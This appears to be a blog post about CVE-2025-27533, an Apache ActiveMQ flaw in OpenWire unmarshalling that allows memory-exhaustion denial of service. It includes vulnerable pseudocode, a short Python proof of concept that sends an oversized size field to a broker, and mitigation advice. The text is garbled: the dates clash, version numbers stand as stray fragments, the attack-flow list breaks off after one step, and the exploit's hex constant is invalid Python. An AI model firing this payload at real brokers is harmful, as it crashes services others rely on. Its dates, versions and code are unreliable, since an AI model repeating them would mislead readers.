In June 2024, a critical security vulnerability was assigned to Apache ActiveMQ, known as CVE-2025-27533. This flaw involves improper validation of buffer size during the unmarshalling process in OpenWire commands, opening the door to memory exhaustion and Denial of Service (DoS) attacks.

In this post, we’ll break down what happened, demonstrate the impact with code, and point you to references and mitigation strategies. Our goal is to help teams secure their systems in plain terms.

What Happened?

When Apache ActiveMQ processes (unmarshals) OpenWire messages, it allocates memory for the incoming data. Due to a mistake in the code, the size of memory to allocate was not properly checked. An attacker could send a specially-crafted OpenWire command claiming a huge size, causing the broker to try allocating massive memory – crashing the server or severely degrading its performance.

5.19. is NOT affected

Note: Only brokers not using mutual TLS are at risk, since mutual TLS blocks unauthenticated traffic before it can reach the vulnerable code.

Let’s see an example in simplified Java-like pseudocode showing what might have gone wrong

// Vulnerable code for reading buffer from input
int size = dataIn.readInt();  // Attacker controls this value!
byte[] buffer = new byte[size]; // Memory allocates per the provided size—NO CHECK

dataIn.readFully(buffer); // This can crash broker if size is huge!

Attack Flow

1. Attacker crafts a TCP packet with the OpenWire protocol, setting the size field to a very large integer.

Demonstration: Proof of Concept

Below is a simplified Python pseudocode demo of what an exploit might attempt. This code is for educational purposes only — do not use it against systems you do not own!

import socket
import struct

# Connect to vulnerable ActiveMQ broker
sock = socket.create_connection(("activemq-host", 61616))

# Build an OpenWire frame with an absurdly large buffer size (e.g., x7FFFFFFF)
malicious_buffer_size = x7FFFFFFF
payload = struct.pack(">I", malicious_buffer_size) + b"\x00" * 4  # Minimal rest of frame

sock.sendall(payload)
sock.close()

- This code sends an OpenWire command indicating 2,147,483,647 bytes should be allocated, way beyond reasonable.

Impact

- Denial of Service (DoS): The biggest risk is the broker becoming unavailable, affecting any applications that rely on it – from message-driven web servers to payment platforms and IoT devices.
- Cascading Failure: If the broker restarts automatically, an attacker could repeatedly crash it, causing ongoing downtime.

5.16.8

Reference:
- ActiveMQ Security Advisories

Workaround: Mutual TLS

If you cannot update immediately, enforce mutual TLS (mTLS) on broker connections. OpenWire connections that fail TLS authentication cannot reach vulnerable code.

mTLS: Implement mutual TLS as soon as possible if upgrades can’t be done right away.

- Monitor: Watch for unexpected memory spikes in ActiveMQ, especially if public or internet-accessible.

Original References

- Apache ActiveMQ CVE-2025-27533 Advisory
- CVE Details for CVE-2025-27533
- OpenWire Protocol

Summary

CVE-2025-27533 is a serious bug that lets attackers crash your ActiveMQ broker by sending a message with an absurdly large buffer size. The fix is simple: upgrade to a safe version, or temporarily enforce mutual TLS.

Don’t take chances—patch today and keep your messaging infrastructure rock-solid.


Stay Secure! If you’ve got questions or need help mitigating this, drop a comment or check out the official Apache ActiveMQ documentation.

Timeline

Published on: 05/07/2025 09:15:18 UTC
Last modified on: 05/07/2025 14:13:20 UTC